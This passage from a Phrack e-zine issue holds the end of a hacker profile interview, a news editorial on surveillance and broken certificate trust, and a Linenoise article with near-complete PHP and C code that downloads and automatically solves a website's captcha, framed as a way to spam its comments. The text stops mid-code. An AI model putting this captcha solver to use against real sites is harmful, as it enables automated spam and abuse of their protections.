One of the smartest men I've ever met. Just in case you wonder why Windows exploitation is so challenging today.

‑ Dan Kaminsky

Dan and I share a passion for protocols. We first met in 2002, about five times, at cons all over the planet, and talked IP(v4). Good times.

‑ ADM, that one summer

|=‑‑‑=| Memorable places you have been to

‑ Idaho Falls

|=‑‑‑=[ Disappointing people you have met

Many manufactured or self‑styled experts giving presentations at conferences. If you didn't write or at least read the code in question, shut up. The number of charlatans is unfortunately growing steadily. Some would probably count me in that category as well.

Also, friends that betray they very people that trust them most.

|=‑‑‑=[ Who came up with the name "Phenoelit" and what does it mean?

Nothing to see here, move on.

|=‑‑‑=[ Who are you guys?

Just friends.

|=‑‑‑=[ Who designed those awesome Phenoelit t‑shirts?

I always did the designs for Phenoelit and PH‑Neutral. I greatly enjoy doing them. For PH‑Neutral, the process was that I had to come up with a motive and would do all the work, Mumpi watching me, drinking beer and complaining. It would not have worked any other way.

|=‑‑‑=[ Phenoelit vs 7350 vs THC?

We met 7350 and THC first time at the 17c3 and became friends with several of them over time. I sincerely miss 7350, but their time had come.

|=‑‑‑=[ Things you are proud of

The team I am blessed to work with.

|=‑‑‑=[ Things you are not proud of

‑ Writing shitty exploits

‑ Having a pretty good hand at picking research topics that are not relevant to the real world

‑ Being strictly single‑tasking

|=‑‑‑=[ Most impressive hackers

‑ Dvorak

‑ Halvar Flake

‑ Philippe Biondi

‑ Ilja van Sprundel

‑ Anonpoet

‑ Greg

‑ Last Stage of Delirium

This list is biased by me not knowing many of the really impressive hackers.

|=‑‑‑=[ Opinion about security conferences

Security conferences have been essential for my personal development and I still love to go to them. I have a preference for smaller cons, since it is more likely to get to talk to people.

Almost any talk has something for me to take away. But more important is the hallway track and going out with fellow hackers.

The distinction between hacker cons and corporate or product security conferences used to be clear. It is no longer, which is sad.

|=‑‑‑=[ Opinion on Phrack Magazine

IMHO one of the most well regarded e‑zines in the world, influencing much research over the time of its existence. Just look at how many academic publications cite Phrack articles. Keep it up!

|=‑‑‑=[ What you would like to see published in Phrack?

I think Phrack does just fine. For me, exploitation techniques are at the heart of Phrack. I also enjoy reading about environments that not many people have access to: control systems of all kinds, for example.

Maybe you should aim for more timely releases though.

|=‑‑‑=[ Personal advices for the next generation

That implies that I'm old and expired, right?

The one advice I would give is: Don't care about the opinion of others when it comes to research. It doesn't matter if they think it's cool, you must think it's cool. Look for and credit prior art, build on what is there already and have fun doing so.

And if you really have to use Python, understand that error handling is not the same thing as stack traces. Catch your exceptions and handle them, or at least display something useful.

|=‑‑‑=[ Your opinion about the future of the underground

Predictions are hard, especially when they concern the future.

|=‑‑‑=[ Shoutouts to specific (group of) peoples

To the hacker and vx groups of the 80s and 90s, who built the foundation of everything we still concern ourselves with today.

|=‑‑‑=[ Flames to specific (group of) peoples

To the snake‑oil security product vendors, who refuse to innovate and bind available talent in signature writing sweat jobs, because that model pays them so well. Your "protections" add vulnerabilities to every aspect of modern networks, and you know it. The halting problem is UNDECIDABLE!

|=‑‑‑=[ Quotes

"Does it just look nice or is it correct?"

‑ zynamics developer about a control flow graph

"Nine out of the ten voices in my head say I'm not schizophrenic. The other one hums the melody of Tetris."

|=‑‑‑=[ Anything more you want to say

I would like to thank the Phrack staff for this honor, although I'm still convinced there are 0x100 people who deserved it more.

|=‑‑‑=[ A eulogy for PH‑Neutral ]=‑‑‑=|

We created PH‑Neutral in 0x7d3 as an attempt to bring together the people we respected most. We were simply unaware of the other small events that already existed. The intention was to have an informal meeting with ad‑hoc workshops and a great party. We failed at the party, despite a full‑blown dance floor. However, the people actually worked together and discussed their projects and exploits. We were sending out the invitations individually by email and I was surprised about the many positive reactions. We would not have thought that so many well‑known and interesting people would actually show up.

Over the years, the event grew. Although we kept it invite‑only, the mechanism for invitations had to consider people that were there in the past as well as fresh blood. Therefore, one way or another, it had a snow ball effect to it. But in the early years, this was a good thing. There was an astonishing amount of innovation going on during the first five years. We never expected to see people actually working together. It was the time of sharing code and knowledge, of searching for JTAG on a dance floor and of the Vista ASLR release.

The bigger the event got, the more the focus shifted from hacking to party. Since that corresponded with our second initial goal, we did encourage it. We really like to party with our friends, and by party we mean actual dancing and not just standing around and getting drunk. It was amazing to see how well the party developed over the years. Despite the growth, it still had a very intimate feeling.

Initially meant as a joke during setup of the second PH‑Neutral, we had decided to not have it run forever. For one, we didn't want to see it going down and fading away. When more and more conferences started to show up on the map, it only encouraged us to conclude the story of PH‑Neutral. It had its time and place.

The last PH‑Neutral 0x7db then proved that the decision was right. It was that little bit of too many people that turns a large group of international friends into a somewhat anonymous crowd. Although luckily not many guests noticed, it changed the way we had to run the event completely. Where in the years before, we could hack and party with our friends, we had to fire‑fight, manage and regulate. That was not the way it was meant to be for us, so it was a good time to call it quits.

PH‑Neutral was made into what it was by the people that participated, more so than any other event I know. The people decided on the spin of each year's event by how they filled the frame we gave them. It was their party and they took it and made it great. Thank you forever!

Phrack World News

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x03 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack World News ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by TCLH ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is been a while since the last Phrack World News, and much has happened in our world since then. Governments have been overthrown [1], human rights partially restored in one country, and taken away in the next [2]. The so‑called first world has been bought, delivers monitoring and suppression equipment to totalitarian countries [3] as well as making its use a legal requirement in their owni [4]. The content mafia, considering every form of creative and work output their property, has declared war on all internet citizen. No matter if picture, song, movie or academic paper, you shall pay for its consumption or be banned from the net [5]. That they are actually trying to resist evolution [6] is of no concern to them.

In times like that, where your network traffic may go though more deep packet inspection engines than observable hops in traceroute, the hacker shall reconsider his ways of communication. It is no longer enough to SSH/VPN into one of your boxes and jump into your screen sessions, as the communication of that box is monitored as much as your home network connection.

Global surveillance is no longer stuff from science fiction books, or attributed only to the most powerful secret services in the world. It becomes a requirement for most ISPs to stay in business. They can either sell you, or they can sell their company, and you can bet that the later is not an option they consider.

Besides, traffic patterns of the average internet user change. We are approaching a time when the ordinary user will only emit HTTP traffic with his daily activities, making it easy for anyone interested to single out the more creative minds, just by the fact that they still use protocols like SSH, OpenVPN and IRC with their unmistakable signatures. It is up to us to come up with new and creative ways of using this internet before packets get dropped based on their protocol characteristics and we find ourselves limited to Google+ and Facebook.

At the same time, the additional protections we have come to rely on prove to be as bad as we always thought they might be. When breaking into a certificate authority is as easy as it was with DigiNotar [7], when the database of Comodo [8] ends up in BitTorrents, we are facing bigger challenges than ever before. There are various discussions all over the net on how to deal with the mess that is our common PKI. From the IETF [9] to nation states, everyone has their own ideas. When certificate authorities are taken over by governments or forced to issue Sub‑CA certificates to the same [10], it's not a trust mechanism we shall rely on.

An attitude that this is someone else's problem doesn't help. As more and more functions of daily life move online, everyone is exposed to these problems. Even if you know how to spot certificate changes, you will still need to access the web site. HTTPS doesn't provide a plan B option. The CA nightmare calls for the gifted and smart people to work together and find a long term dependable solution. This is the time where your talent, skills and experience is required, unless you are fine with government and vendor driven committees to "solve" it.

Meanwhile over at IRC's little pre‑teen sister Twitter, whose attention span is shorter than that of a fruit fly and easily bought, people hype so‑called solutions [11] to the problem without doubts. Although their heros abandon privacy solutions people depend on the moment someone waves a little money in their face [12], the masses rather believe in a savior than to think and evaluate for themselves. Are you one of them?

Unquestioned believe becomes the new normal. Whether it is Google or Apple fanboyism, the companies can do whatever they want. Apple ships products with several year old vulnerabilities [13] in open source components they reused and nobody notices. Everyone can make X.509 certificates that iPhone and iPad will happily accept [14]? No problem. Think back and consider the shit storm if that would have been Microsoft. These companies feel so invincible that Apple's App Store Guidelines [15] openly state: "If you run to the press and trash us, it never helps."

Critical thinking seems to become a challenge when you get what you want. Just look at how many hackers use Gmail without any end‑to‑end encryption, because it just works. Thich hacker using a hotmail email address was ever taken serious? Where is the difference?

What Apple and Google are for the hip generation, Symantec is for governments and corporations. They are seen as the one company that will protect us all. When the source code of PCAnywhere is leaked [16] and the same company simply advises its users to no longer use that software product [16], you get an idea of how they evaluate the security of it themselves. And what about all the systems in daily life that depend on it? If nobody used PCAnywhere, Symantec would have stopped selling it long ago. Therefore, they simply left a large user base out in the cold. And what happens? Nothing. Except, maybe, that some have fun with various remote access points.

It all comes down to knowledge. Knowledge cannot be obtained by believe. Believe is a really bad substitute for actually knowing. And what is the hacker community other than first and foremost the quest for knowledge that you found out yourself by critically questioning everything put in front of you. What you do with that knowledge is a question everyone has to answer himself. But if we stop to learn, experiment and play, we stop being hackers and become part of the masses. It is a sign of the times when only very few hackers speak IPv6, leave alone use it. When you see more fuzzers written than lines of code actually read, because coding up a simple trash‑generator is so much easier than actually understanding what the code does and then precisely exploiting it.

The quest for knowledge defines us, not money or fame. Let's keep it up!

[1] https://en.wikipedia.org/wiki/Arab_spring

[2] https://en.wikipedia.org/wiki/2011%E2%80%932012_Syrian_uprising

[3] http://buggedplanet.info/index.php?title=EG

[4] https://en.wikipedia.org/wiki/Telecommunications_data_retention

[5] https://en.wikipedia.org/wiki/Three_strikes_%28policy%29

[6] http://www.wired.com/threatlevel/2012/02/peter‑sunde/

[7] https://en.wikipedia.org/wiki/DigiNotar

[8] https://en.wikipedia.org/wiki/Comodo_Group#Breach_of_security

[9] http://www.ietf.org/mail‑archive/web/therightkey/current/maillist.html

[10] https://bugzilla.mozilla.org/show_bug.cgi?id=724929

[11] https://en.wikipedia.org/wiki/Convergence_%28SSL%29

[12] https://en.wikipedia.org/wiki/Whisper_Systems#Acquisition_by_Twitter

[13] http://support.apple.com/kb/HT5005

[14] http://support.apple.com/kb/HT4824

[15] https://developer.apple.com/appstore/guidelines.html

[16] http://resources.infosecinstitute.com/pcanywhere‑leaked‑source‑code/

[17] http://www.symantec.com/connect/sites/default/files/pcAnywhere

%20Security%20Recommendations%20WP_01_23_Final.pdf

Linenoise

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x04 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise iz back! The last one was in Issue 0x3f (2005 ffs) and since we had great short and sweet submissions we thought it was about time to resurrect it. After all, "a strong linenoise is key" ;‑)

So, dear hacker, enjoy a strong Linenoise.

‑‑[ Contents

1 ‑ Spamming PHRACK for fun and profit ‑‑ darkjoker 2 ‑ The Dangers of Anonymous Email ‑‑ DangerMouse

3 ‑ Captchas Round 2 ‑‑ PHRACK PHP

CoderZ Team

4 ‑ XSS Using NBNS on a Home Router ‑‑ Simon Weber 5 ‑ Hacking the Second Life Viewer For Fun and Profit ‑‑ Eva 6 ‑ How I misunderstood digital radio ‑‑ M.Laphroaig 7 ‑ The 1130 Guide to Growing High‑Quality Cannabis ‑‑ 1130

|=[ 0x01 ]=‑‑‑=[ Spamming PHRACK for fun & profit ‑ darkjoker ]=‑‑‑‑‑‑‑‑‑=|

In this paper I'd like to explain how a captcha can be bypassed without problems with just a few lines of C. First of all we'll pick a captcha to bypass, and, of course, is there any better captcha than the one of this site? Of course not, so we'll take it as example. You may have noticed that there are many different spam messages in the comments of the articles, which means that probably someone else has already bypassed the captcha but, instead of writing an article about it, decided to spend his time posting spam all around the site. Well, I hope that this article will also be taken into account to make the decision to change captcha, because this one is really weak.

First of all we're going to download some captchas, so that we'll be able to teach our bot how to recognise a random captcha. In order to download some captchas i've written this PHP code:

<?php

mkdir ("images");

for ($i=0;$i<200;$i++)

file_put_contents ("images/{$i}.jpg",file_get_contents ("http://www.phrack.com/captcha.php"));

?>

We're downloading 200 captchas, which should be enought. Ok, once we'll have downloaded all the images we can proceed, cleaning the images (which means we're going to remove the "noise". In these captchas the noise is just made of some pixel of a lighter blue than the one used to draw the letters. Well, it's kind of a mess to work with JPEG images, so we'll convert all the images in PPM, which will make our work easier.

Luckily under Linux there's a command which makes the conversion really easy and we won't need to do it manually:

convert ‑compress None input.jpg output.ppm

Let's do it for every image we have:

<?php

mkdir ("ppm");

for ($i=0;$i<200;$i++)

system ("convert ‑compress None images/{$i}.jpg ppm/{$i}.ppm"); ?>

Perfect, now we have everything we need to proceed. Now, as I said earlier, we've to remove the noise. That's a function which will load an image and then removes the noise:

void load_image (int v) {

char img[32],line[1024];

int n,i,d,k,l,s;

FILE *fp;

sprintf (img, "ppm/%d.ppm",v);

fp = fopen (img, "r");

do

fgets (line, sizeof(line),fp);

while (strcmp (line, "255\n"));

i=0;

d=0;

k=0;

int cnt=0;

while (i!=40) {

fscanf (fp,"%d",&n);

captcha[i][d][k]=(char)n;

k++;

if (k==3) {

k=0;

if (d<119)

d++;

else {

i++;

d=0;

}

}

}

}

Ok, this piece of code will load an image into 'captcha', which is a 3 dimensional array (rows*cols*3 bytes per color). Once the array is loaded, using clear_noise () (written below) the noise will be removed.

void clear_noise () {

int i,d,k,t,ti,td;

char n[3];

/* The borders are always white */

for (i=0;i<40;i++)

for (k=0;k<3;k++) {

captcha[i][0][k]=255; captcha[i][119][k]=255;

}

for (d=0;d<120;d++)

for (k=0;k<3;k++) {

captcha[0][d][k]=255;

captcha[39][d][k]=255;

}

/* Starts removing the noise */

for (i=0;i<40;i++)

for (d=0;d<120;d++)

if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL)

for (k=0;k<3;k++) captcha[i][d][k]=255;

for (i=1;i<39;i++) {

for (d=1;d<119;d++) {

for (k=0,t=0;k<3;k++)

if (captcha[i][d][k]!=255)

t=1;

if (t) {

ti=i‑1;

td=d‑1;

for (k=0,t=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td=d‑1;

ti=i;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td+=2;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td=d‑1;

ti=i+1;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

if (t/3<=__MIN)

for (k=0;k<3;k++) captcha[i][d][k]=255;

}

}

}

}

Well, what does this function do? It's really easy, first of all it clears all the borders (because we know by looking at the downloaded images that the borders never contain any character). Once the borders are cleaned, the second part of the routine will remove all the light blue pixels, turning them into white pixels. This way we'll obtain an almost perfect image. The only issue is that there are some pixels which are as dark as the ones which composes the characters, so we can't remove them with the method explained above, we'll have to create something new. My idea was to "delete" all the pixels which have no blue pixels near them, so that the few blue pixels which doesn't compose the letters will be deleted. In order to make the image cleaner I decided to delete all the pixels which doesn't have at least 3 pixels near them. You may have noticed that __COL and __MIN are not defined in the source above, these are two numbers:

#define __COL 0x50

#define __MIN 4*3

__COL is a number I used when I delete all the light blue pixels, I use it in this line:

if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL)

In a few words, if the pixel is lighter than #505050 then it will be deleted (turned white). __MIN is the minimum number of conterminous pixels under which the pixel is deleted. The values where obtained after a few attempts.

Perfect, now we have a piece of code which loads and clears a captcha. Our next goal is to split the characters so that we'll be able to recognise each of them. Before doing all this work we'd better start working with 2 dimensional arrays, it'll make our work easier, so I've written some lines which makes this happen:

void make_bw () {

int i,d;

for (i=0;i<40;i++)

for (d=0;d<120;d++)

if (captcha[i][d][0]!=255)

bw[i][d]=1;

else

bw[i][d]=0;

}

This simply transforms the image in a black and white one, so that we can use a 2 dimensional array. Now we can proceed splitting the letters. In order to get the letters divided we are supposed to obtain two pixels whose coordinates are the ones of the upper left corner and the lower right corner. Once we have the coordinates of these two corners we'll be able to cut a rectangle which contains a character.

Well, we're going to begin scanning the image from the left to the right, column by column, and every time we'll find a black pixels in a column which is preceded by an entire‑white column, we'll know that in that column a new character begins, while when we'll find an entire‑white column preceded by a column which contains at least one black pixel we'll know that a character ends there.

Now, after this procedure is done we should have 12 different numbers which represents the columns where each character begins and ends. The next step is to find the rows where the letter begins and ends, so that we can obtain the coordinates of the pixels we need. Let's call the column where the Xth character begins CbX and the column where the Xth character ends CeX. Now we'll start our scan from the top to the bottom of the image to find the upper coordinate and from the bottom to the top to find the lower coordinate.

This time, of course, the scan will be done six times using as limits the columns where each character is contained between.

When the first row which contains a pixel is found (let's call this row RbX) the same thing will be done to find the lower coordinate. The only difference will be that the scan will begin from the bottom, that's done this way because some characters (such as the 'j') are divided into two parts, and if the scan was done only from the bottom to the end the result would have been just a dot instead of the whole letter.

After having scanned the image from the bottom to the top we'll have another row where the letter ends (or begins from the bottom), we'll call this row ReX (of course we're talking about the Xth character).

Now we know which are the horizontal and vertical coordinates of the two corners we're interested in (which are C1X(CbX,RbX) and C2X(CeX,ReX)), so we can procede by filling a (CeX‑CbX)*(ReX‑RbX) matrix which will contain the Xth character. Obviously the matrix will be filled with the bits of the Xth character.

void scan () {

int i,d,k,j,c,coord[6][2][2];

for (d=0,j=0,c=0;d<120;d++) {

for (i=0,k=0;i<40;i++)

if (bw[i][d])

k=1;

if (k && !j) {

j=1;

coord[c][0][0]=d;

}

else if (!k && j) {

j=0;

coord[c++][0][1]=d;

}

}

for (c=0;c<6;c++) {

coord[c][1][0]=‑1;

coord[c][1][1]=‑1;

for (i=0;(i<40 && coord[c][1][0]==‑1);i++)

for (d=coord[c][0][0];d<coord[c][0][1];d++) if (bw[i][d]) {

coord[c][1][0]=i;

break;

}

for (i=39;(i>=0 && coord[c][1][1]==‑1);i‑‑)

for (d=coord[c][0][0];d<coord[c][0][1];d++) if (bw[i][d]) {

coord[c][1][1]=i;

break;

}

for (i=coord[c][1][0],j=0;i<=coord[c][1][1];i++,j++) for (d=coord[c][0][0],k=0;d<coord[c][0][1];d++,k++) chars[c][j][k]=bw[i][d];

dim[c][0]=j;

dim[c][1]=k;

}

}

Ok, now, using this function we're going to obtain all the characters splitted into an array of 2 dimension arrays. The next step will be the most boring, because we're going to divide all the characters by hand, so that the program, after our work, will be able to recognise all of them and learn how each character is made. Before that, we need a new directory which will contain all the characters. A simple 'mkdir chars' will do. Now we have to fill the directory with the characters. Here's a main function whose goal is to divide all the captchas into characters and put them in the chars/ directory.

int main () {

int i,d,k,c,n;

FILE *x;

char path[32];

for (n=0,k=0;n<200;n++) {

load_image (n);

clear_noise ();

make_bw ();

scan ();

for (c=0;c<6;c++,k++) {

sprintf (path,"chars/%d.ppm",k);

x=fopen (path,"w");

fprintf (x,"P1\n#asdasd\n\n%d %d\n",dim[c][1],dim[c][0]); for (i=0;i<dim[c][0];i++) {

for (d=0;d<dim[c][1];d++)

fprintf (x,"%d",chars[c][i][d]); fprintf (x,"\n");

}

fclose (x);

}

}

return 0;

}

Very well, now the chars/ directory contains all the files we need. Now it comes the part where the human is supposed to divide the characters in the right directories. To make this work faster I've used a simple PHP script which helps a little:

<?php

$in=fopen ("php://stdin","r");

mkdir ("c");

for ($i=0;$i<26;$i++)

mkdir ("c/".chr(ord('a')+$i));

for ($i=0;$i<10;$i++)

mkdir ("c/".chr(ord('0')+$i));

for ($i=54;$i<1200;$i++) {

echo $i.": ";

$a = trim(fgets ($in,1024));

if ($a!='.')

system ("cp chars/{$i}.ppm c/{$a}/{$i}.ppm");

}

fclose ($in);

?>

I think there's nothing to be explained, it's just a few lines of code. After the script is runned and someone (me) enters all the data needed we're going to have a c/ directory with some subdirectories in which there are all the characters divided.

Some characters ('a','e','i','o','u','l','0','1') never appear, which means that probably the author of the captcha decided not to include these characters.

Anyway that's not a problem for us. Now, we should work out a way to make our program recognise a character. My idea was to divide the image in 4 parts (horizontally), and then count the number of black (1) pixels in each part, so that when we have an unknown character all our program will be supposed to do is to count the number of black pixels for each part of the image, and then search the character with the closest number of black pixels. I've tried to do it but I haven't kept into account that some characters (such as 'q' and 'p') have a similar number of pixels for each part, even though they're completely different.

After having realised that, I decided to use 8 parts to divide each character: 4 parts horizontally, then each part is divided in other 2 parts vertically.

Well, of course there's no way I could have done that by hand, and in fact I've written a PHP script:

<?php

error_reporting (E_ALL ^ E_NOTICE);

$f = array (4,2,4/3,1);

$arr=array ('b','c','d','f','g','h','j','k','m','n','p','q','r','s','t', 'v','w','x','y','z','2','3','4','5','6','7','8','9'); $h = array ();

for ($a=0;$a<count($arr);$a++) {

$i = $arr[$a];

$x = array ();

$files = scandir ("c/{$i}");

for ($d=0;$d<count($files);$d++) {

if ($files[$d][0]!='.') { // Excludes '.' and '..'

$lines=explode ("\n",file_get_contents ("c/{$i}/{$files[$d]}")); for ($k=0;$k<4;$k++)

array_shift ($lines);

array_pop ($lines);

$j = count ($lines);

$k = strlen ($lines[0]);

$r=0;

$h[$a] += $j;

if ($files[$d]=="985.ppm") {

for ($n=0;$n<4;$n++)

for (;$r<floor ($j/$f[$n]);$r++) { for ($l=0;$l<floor($k/2);$l++) $x[$n][0]+=$lines[$r][$l]; for (;$l<floor($k);$l++) $x[$n][1]+=$lines[$r][$l];

}

print_r ($x);

}

}

}

$h [$a] = round ($h[$a]/(count($files)‑2));

for ($n=0;$n<4;$n++) {

$x[$n][0] = round ($x[$n][0]/(count($files)‑2)); $x[$n][1] = round ($x[$n][1]/(count($files)‑2));

}

printf ("$i => %02d %02d %02d %02d / %02d %02d %02d %02d\n",$x[0][0], $x[1][0],$x[2][0],$x[3][0],$x[0][1],$x[1][1],$x[2][1],$x[3][1]); }

for ($i=0;$i<count ($arr);$i++)

echo "{$h[$i]}, ";

?>

It works out the average number of black pixels for each part. Moreover it also prints the average height of each character (I'm going to explain the reason of this below).

A character such as a 'z' is divided this way:

01111 111110

11111 111111

11111 111111

01111 111111

00000 111110

00000 111110

00000 111100

00001 111100

00001 111000

00011 110000

00011 110000

00111 100000

00111 111110

01111 111111

01111 111111

00111 111110

So the numbers (of the black pixels) in this case will be:

18 23

1 18

8 8

14 22

Well, once taken all these numbers from each character the PHP script written above works out the average numbers for each character. In the 'z', for example, the average numbers are:

18 20

3 15

11 7

17 20

Which are really close to the ones written above (at least, they're closer than the ones of the other characters). Now the last step is to do the comparison between the character of the captcha we want our program to read and the numbers we've stored. To do so we first need to make the program count the number of black pixels of a character, and save the numbers somewhere so that it'll be possible to do the comparison. read_pixels ()'s aim is exactly to do that, using the same method used above in the PHP script.

void read_pixels (int c) {

int i,d,k,r;

float arr[]={4,2,1.333333,1};

memset (bpix,0,8*sizeof(int));

for (k=0,i=0;k<4;k++) {

for (;i<(int)(dim[c][0]/arr[k]);i++) {

for (d=0;d<dim[c][1]/2;d++)

bpix[k][0] += chars[c][i][d];

for (;d<dim[c][1];d++)

bpix[k][1] += chars[c][i][d];

}

}

}

The next step is to compare the numbers, that's what the cmp () function is supposed to do:

char cmp (int c) {

int i,d;

int err,n,min,min_i;

read_pixels (c);

for (i=0,min=‑1;i<28;i++) { n=abs(heights[i]‑dim[c][0])*__HGT;

for (d=0;d<4;d++) {

n += abs(bpix[d][0]‑table[i][0][d]);

n += abs(bpix[d][1]‑table[i][1][d]);

}

if (min>n || min<0) {

min=n;

min_i = i;

}

}

return ch_list[min_i];

}

'table' is an array in which all the average numbers worked out before are stored. As you can see there's a final number (n) which is the sum of a number obtain in this way:

n += |x‑y)

Where 'x' is the number of black pixels of each part of the character we want to read, while 'y' is the average number of the character we're comparing the character we want to read with. The smaller the resulting number is, the closer to that character. I firstly thought that the algorithm I used would have been good enough, but I soon realised that there were too many "misunderstandings" while the program was trying to read some characters (such as the 'y's, which were usually read as 'v's). So I decided to make the final number also influenced by the height of the character, so that a 'v' and a 'y' (which have different heights) can't be misunderstood.

Before this change the program couldn't recognise 17 characters out of 1200. Then, after some tests, I found that by adding the difference of the heights times a costant, the results were better: 3 wrong characters out of 1200.

n = |x‑y|*k

Where 'x' is the height of the character we want to read while 'y' is the height of the character we're comparing the character we want to read with.

The costant (k) was calculated by doing some attempts, and finally it was given the value 1.5. Now everything's ready, the last function I've written is read_captcha () which will return the captcha's string.

char *read_captcha (char *file) {

char *str;

int i;

str = malloc(7*sizeof(char));

load_image (file);

clear_noise ();

make_bw ();

scan ();

for (i=0;i<6;i++)

str[i]=cmp(i);

str[i]=0;

return str;

}

And.. Done :) Now we can make our program read a captcha without any problem. Now I should be supposed to code an entire spam bot, but, since it requires some tests I think it wouldn't be good to post random comments all around phrack, so my article finishes here.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#define __COL 80

#define __MIN 4*3

#define __HGT 1.5

unsigned char captcha[40][120][3];

unsigned char bw[40][120];

unsigned char chars[6][40][30];

int dim[6][2];

int bpix[4][2];

int heights[] = {

23, 16, 23, 23, 22, 23, 29,

23, 16, 16, 22, 22, 16, 16,

20, 16, 16, 16, 21, 16, 23,

24, 23, 23, 23, 23, 24, 24 };

char ch_list [] = "bcdfghjkmnpqrstvwxyz23456789";

int table [28][2][4]= {

{ {18, 28, 26, 28}, { 0, 20, 25, 29}},

{ {10, 17, 17, 10}, {21, 1, 1, 20}},

{ { 0, 20, 25, 29}, {18, 31, 26, 31}},

{ {10, 24, 18, 17}, {23, 12, 6, 5}},

{ {21, 25, 20, 8}, {28, 25, 29, 27}},

{ {18, 28, 25, 22}, { 0, 20, 25, 22}},

{ { 1, 9, 0, 14}, {13, 27, 28, 25}},

{ {18, 24, 30, 22}, { 0, 15, 21, 23}},

{ {24, 21, 20, 17}, {21, 25, 24, 20}},

{ {17, 18, 16, 14}, {20, 17, 16, 14}},

{ {27, 25, 29, 22}, {24, 25, 25, 0}},

{ {25, 25, 24, 0}, {27, 25, 29, 22}},

{ {14, 16, 15, 13}, {19, 2, 0, 0}},

{ {15, 16, 2, 9}, {12, 4, 18, 17}},

{ {15, 20, 15, 12}, { 5, 10, 5, 19}},

{ {13, 17, 15, 11}, {14, 14, 14, 10}},

{ { 9, 17, 20, 13}, {12, 18, 22, 14}},

{ { 9, 11, 11, 13}, {12, 13, 13, 12}},

{ {15, 19, 14, 14}, {16, 20, 15, 9}},

{ {18, 3, 11, 17}, {20, 15, 7, 20}},

{ {21, 4, 8, 24}, {21, 26, 19, 24}},

{ {16, 0, 6, 24}, {29, 23, 25, 28}},

{ { 5, 12, 23, 5}, {23, 24, 32, 24}},

{ {23, 25, 10, 20}, {18, 12, 26, 23}},

{ { 3, 21, 28, 24}, {16, 15, 30, 27}},

{ {18, 1, 11, 20}, {27, 24, 14, 3}},

{ {25, 24, 26, 23}, {28, 26, 28, 28}},

{ {20, 27, 16, 16}, {25, 26, 28, 9}} };

void clear () {

int i,d,k;

for (i=0;i<40;i++)

for (d=0;d<120;d++)

for (k=0;k<3;k++)

captcha[i][d][k]=0;

for (i=0;i<40;i++)

for (d=0;d<120;d++)

bw[i][d]=0;

for (i=0;i<6;i++)

for (d=0;d<40;d++)

for (k=0;k<30;k++)

chars[i][d][k]=0;

for (i=0;i<6;i++)

for (d=0;d<2;d++)

dim[i][d]=0;

}

int numlen (int n) {

char x[16];

sprintf (x,"%d",n);

return strlen(x);

}

void load_image (char *img) {

char line[1024];

int n,i,d,k,l,s;

FILE *fp;

fp = fopen (img, "r");

do

fgets (line, sizeof(line),fp);

while (strcmp (line, "255\n"));

i=0;

d=0;

k=0;

int cnt=0;

while (i!=40) {

fscanf (fp,"%d",&n);

captcha[i][d][k]=(char)n;

k++;

if (k==3) {

k=0;

if (d<119)

d++;

else {

i++;

d=0;

}

}

}

}

void clear_noise () {

int i,d,k,t,ti,td;

char n[3];

/* The borders are always white */

for (i=0;i<40;i++)

for (k=0;k<3;k++) {

captcha[i][0][k]=255; captcha[i][119][k]=255;

}

for (d=0;d<120;d++)

for (k=0;k<3;k++) {

captcha[0][d][k]=255;

captcha[39][d][k]=255;

}

/* Starts removing the noise */

for (i=0;i<40;i++)

for (d=0;d<120;d++)

if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL && captcha[i][d][2]>__COL)

for (k=0;k<3;k++) captcha[i][d][k]=255;

for (i=1;i<39;i++) {

for (d=1;d<119;d++) {

for (k=0,t=0;k<3;k++)

if (captcha[i][d][k]!=255)

t=1;

if (t) {

ti=i‑1;

td=d‑1;

for (k=0,t=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

